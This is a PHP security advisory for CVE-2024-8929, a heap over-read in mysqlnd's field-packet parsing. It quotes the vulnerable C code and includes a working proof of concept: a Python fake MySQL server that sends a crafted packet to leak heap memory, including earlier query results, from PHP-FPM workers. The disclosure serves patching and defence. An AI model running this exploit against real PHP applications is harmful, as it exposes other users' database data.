Skip to content

[Mysqlnd] Leak partial content of the heap through heap buffer over-read

High
bukka published GHSA-h35g-vwh6-m678 Nov 21, 2024

Package

No package listed

Affected versions

< 8.1.31
< 8.2.26
< 8.3.14

Patched versions

8.1.31
8.2.26
8.3.14

Description

Summary

By connecting to a fake MySQL server or tampering with network packets and initiating a SQL Query, it is possible to abuse the function static enum_func_status php_mysqlnd_rset_field_read when parsing MySQL fields packets in order to include the rest of the heap content starting from the address of the cursor of the currently read buffer.
Using PHP-FPM which stays alive between request, and between two different SQL query requests, as the previous buffer used to store received data from MySQL is not emptied and malloc allocates a memory region which is very near the previous one, one is able to extract the response content of the previous MySQL request from the PHP-FPM worker.

Details

After the connection against a MySQL database is established, when initiating a SQL query, for example through mysqli_query, the expected response from the server is of the following format :

  • A column count packet, describing the number of fields that are expected to be received;
  • As much as fields packets as there are fields to be transmitted;
  • An intermediate EOF packet, telling it is the end of the "fields packets";
  • As much as row packet as there are entries to be transmitted.

The MySQL fields packets, are parsed by the static enum_func_status php_mysqlnd_rset_field_read defined in /ext/mysqlnd/mysqlnd_wireprotocol.c.

Here are the interesting parts :

static enum_func_status
php_mysqlnd_rset_field_read(MYSQLND_CONN_DATA * conn, void * _packet)
{
	MYSQLND_PACKET_RES_FIELD *packet = (MYSQLND_PACKET_RES_FIELD *) _packet;
	MYSQLND_ERROR_INFO * error_info = conn->error_info;
	MYSQLND_PFC * pfc = conn->protocol_frame_codec;
	MYSQLND_VIO * vio = conn->vio;
	MYSQLND_STATS * stats = conn->stats;
	MYSQLND_CONNECTION_STATE * connection_state = &conn->state;
	const size_t buf_len = pfc->cmd_buffer.length;
	size_t total_len = 0;
	zend_uchar * const buf = (zend_uchar *) pfc->cmd_buffer.buffer;
	const zend_uchar * p = buf;
	const zend_uchar * const begin = buf;
	char *root_ptr;
	zend_ulong len;
	MYSQLND_FIELD *meta;
  
       ...

// We learn here that it is not supposed to support COM_FIELD_LIST anymore.
	if (ERROR_MARKER == *p) {
		/* Error */
		p++;
		BAIL_IF_NO_MORE_DATA;
		php_mysqlnd_read_error_from_line(p, packet->header.size - 1,
										 packet->error_info.error, sizeof(packet->error_info.error),
										 &packet->error_info.error_no, packet->error_info.sqlstate
										);
		DBG_ERR_FMT("Server error : (%u) %s", packet->error_info.error_no, packet->error_info.error);
		DBG_RETURN(PASS);
	} else if (EODATA_MARKER == *p && packet->header.size < 8) {
		/* Premature EOF. That should be COM_FIELD_LIST. But we don't support COM_FIELD_LIST anymore, thus this should not happen */
		DBG_ERR("Premature EOF. That should be COM_FIELD_LIST");
		php_error_docref(NULL, E_WARNING, "Premature EOF in result field metadata");
		DBG_RETURN(FAIL);
	}

      ...

      // Parsing logic of the field packet

      ...

	/*
	  def could be empty, thus don't allocate on the root.
	  NULL_LENGTH (0xFB) comes from COM_FIELD_LIST when the default value is NULL.
	  Otherwise the string is length encoded.
	*/
	if (packet->header.size > (size_t) (p - buf) &&
		(len = php_mysqlnd_net_field_length(&p)) &&
		len != MYSQLND_NULL_LENGTH)
	{
		BAIL_IF_NO_MORE_DATA;
		DBG_INF_FMT("Def found, length " ZEND_ULONG_FMT, len);
		meta->def = packet->memory_pool->get_chunk(packet->memory_pool, len + 1);
		memcpy(meta->def, p, len);
		meta->def[len] = '\0';
		meta->def_length = len;
		p += len;
	}

}

We can read in the second code block that COM_FIELD_LIST is not supported anymore. However, after the packet is parsed, the third code block tries to parse a def fields which is supposed to define the default values. However, it is used for COM_FIELD_LIST requests, as per the MySQL documentation.

Using a specifically crafted packet, we can enter the last code block, by :

  • Adjusting the size of the packet header to read the malicious data;
  • Adding a length field at the end which is not equal to MYSQLND_NULL_LENGTH
  • Adding a byte, so that macro BAIL_IF_NO_MORE_DATA, which verifies if ((p - begin) > packet->header.size)) doesn't redirect the control flow.

In this code block:

  • len now contains our arbitrary length value;
  • BAIL_IF_NO_MORE_DATA is then called, however p, the cursor on the buffer, has not been modified for now and the macro is not called anymore until the end of the function;
  • A memory area of size len + 1 is allocated and the address is assigned to meta->def, which is returned to the end user;
  • meta->def is filled up with len bytes, read from p.

However, p points to a buffer that is (p - pfc->cmd_buffer.buffer) bytes length, and pfc->cmd_buffer.buffer points to a memory area of 4096 bytes. As len can be decoded as a uint_32t, its value can be much more higher, allowing to over-read pfc->cmd_buffer.buffer.
This result in adding to the MySQL server response the remaining data contains in the buffer, and the data on the heap up to len - (4096 - (p - pfc->cmd_buffer.buffer))).

As the buffer used to store the MySQL response is not emptied after each request after being deallocated, and memory allocation with the libc function malloc almost everytime allocate a chunk located very close from the previous allocated memory area, one is able to retrieve content from earlier SQL queries by taking advantage of PHP-FPM workers, which continues running between requests and hold onto some contextual data.

During our tests, we were able to extract the content of previous SQL Query response from the memory of the PHP-FPM Worker.

PoC

  • Start PHP-FPM with a worker pool of one worker;

  • Start a regular MySQL server with some data to be queried from;

  • Start a fake MySQL server that replies with the minimum required data and a malicious field packet by:

    • Adding the number of bytes we want to extract, encoded on 4 bytes;
    • Adding some filler (1 byte) data so that BAIL_IF_NO_MORE_DATA; doesn't exit the current control flow;
    • Modifying the packet length according to the added data.
  • Make a request against the fake server: some data are extracted like authentication method and some of the used salt to authenticate;

  • Make a legit request;

  • Make a request against the fake server again, data from the previous response are added to the content.

The PHP script I used :

<?php
	$port = intval($_GET["port"], 10);
	$servername = "";
	$username = "";
	$password = "";

	$conn = mysqli_init();
	$conn->real_connect($servername, $username, $password, 'audit', $port, '');

	$result = $conn->query("SELECT * from users");
	$all_fields = $result->fetch_fields();
	var_dump($result->fetch_all());
	echo(get_object_vars($all_fields[0])["def"]);
?>

A Python script that can be used as a fake server :

#!/usr/bin/env python

import socket

ADDRESS = '127.0.0.1'
PORT = 3307


class Packet(dict):
    def __setattr__(self, name: str, value: str | bytes) -> None:
        self[name] = value

    def __repr__(self):
        return self.to_bytes()

    def to_bytes(self):
        return b"".join(v if isinstance(v, bytes) else bytes.fromhex(v) for v in self.values())


class MySQLPacketGen():

    @property
    def server_ok(self):
        sg = Packet()
        sg.full = "0700000200000002000000"

        return sg

    @property
    def server_greetings(self):
        sg = Packet()
        sg.packet_length =  "580000" 
        sg.packet_number =  "00" 
        sg.proto_version = "0a"
        sg.version = b'5.5.5-10.5.18-MariaDB\x00'
        sg.thread_id = "03000000"
        sg.salt = "473e3f6047257c6700"
        sg.server_capabilities = 0b1111011111111110.to_bytes(2, 'little')
        sg.server_language = "08" #latin1 COLLATE latin1_swedish_ci
        sg.server_status = 0b000000000000010.to_bytes(2, 'little')
        sg.extended_server_capabilities = 0b1000000111111111.to_bytes(2, 'little')
        sg.auth_plugin = "15"
        sg.unused = "000000000000"
        sg.mariadb_extended_server_capabilities = 0b1111.to_bytes(4, 'little')
        sg.mariadb_extended_server_capabilities_salt = "6c6b55463f49335f686c643100"
        sg.mariadb_extended_server_capabilities_auth_plugin = b'mysql_native_password'

        return sg

    @property
    def server_tabular_query_response(self):
        qr1 = Packet() #column count
        qr1.packet_length = "010000"
        qr1.packet_number = "01"
        qr1.field_count = "01"

        qr2 = Packet() #field packet
        qr2.packet_length = "180000" 
        qr2.packet_number = "02"
        qr2.catalog_length_plus_name = "0164"
        qr2.db_length_plus_name = "0164"
        qr2.table_length_plus_name = "0164"
        qr2.original_t = "0164"
        qr2.name_length_plus_name = "0164" 
        qr2.original_n = "0164" 
        qr2.canary = "0c"
        qr2.charset = "3f00"
        qr2.length = "0b000000"
        qr2.type = "03"
        qr2.flags = "0350"
        qr2.decimals = "000000"

        qr3 = Packet() #intermediate EOF
        qr3.full = "05000003fe00002200"

        qr4 = Packet() #row packet
        qr4.full = "0400000401350174"

        qr5 = Packet() #response EOF
        qr5.full = "05000005fe00002200"

        return (qr1, qr2, qr3, qr4, qr5)


class MySQLConn():
    def __init__(self, socket: socket):
        self.pg = MySQLPacketGen()
        self.conn, addr = socket.accept()
        print(f"[*] Connection from {addr}")

    def send(self, payload, message=None):
        print(f"[*] Sending {message}")
        self.conn.send(payload)

    def read(self, bytes_len=1024):
        data = self.conn.recv(bytes_len)
        if (data):
            print(f"[*] Received {data}")

    def close(self):
        self.conn.close()

    def send_server_greetings(self):
        self.send(self.pg.server_greetings.to_bytes(), "Server Greeting")

    def send_server_ok(self):
        self.send(self.pg.server_ok.to_bytes(), "Server OK")

    def send_server_tabular_query_response(self):
        self.send(b''.join(s.to_bytes() for s in self.pg.server_tabular_query_response), "Tabular response")


def tabular_response_read_heap(m: MySQLConn):
    rh = m.pg.server_tabular_query_response

    # Length of the packet is modified to include the next added data
    rh[1].packet_length = "1e0000"

    # We add a length field encoded on 4 bytes which evaluates to 65536. If the process crashes because
    # the heap has been overread, lower this value.
    rh[1].extra_def_size = "fd000001"  # 65536

    # Filler
    rh[1].extra_def_data = "aa"

    trrh = b''.join(s.to_bytes() for s in rh)

    m.send_server_greetings()
    m.read()
    m.send_server_ok()
    m.read()
    m.send(trrh, "Malicious Tabular Response [Extract heap through buffer overread]")
    m.read(65536)


def main():
    with socket.create_server((ADDRESS, PORT), family=socket.AF_INET, backlog=1) as server:
        while(True):
            msql = MySQLConn(server)
            tabular_response_read_heap(msql)
            msql.close()


main()

Other problems

This is unfortunately the only place where such over-read is possible. After thorough investigation, following places have been found with a similar problem:

  • RESP packet upsert filename
  • OK packet message
  • RESP packet for stmt row data
    • ps_fetch_from_1_to_8_bytes
    • ps_fetch_float
    • ps_fetch_double
    • ps_fetch_time
    • ps_fetch_date
    • ps_fetch_datetime
    • ps_fetch_string
    • ps_fetch_bit
  • RESP packet for query row data (just possible overflow on 32bit)

Impact

In order to exploit this vulnerability, one needs to be able to control the address of the MySQL target or execute its own script using the context on an existing PHP-FPM worker pool.
The heap content, starting from some bytes after the beginning of the buffer used to stores MySQL response can be extracted and send back to the user that initiates a SQL Query.
For example, during our tests, we were able to extract the content of the previous SQL query response.

Example scenario

You're a hosting provider and you offer a bunch of services like managed databases and VPS's (not uncommon).
As a hosting provider, you may want to offer tools to your users to manage databases, something like phpmyadmin (or alike) (not uncommon). As a user, you have the choice of setting up a database yourself on a VPS hosted by that hosting provider. You could setup a malicious database server. Many different people may use the database management software, but that software connects to many different database servers; including the malicious one you set up. Your malicious database server can now trick that database management software (that different users use) to leak data of other users.

Severity

High

CVE ID

CVE-2024-8929

Credits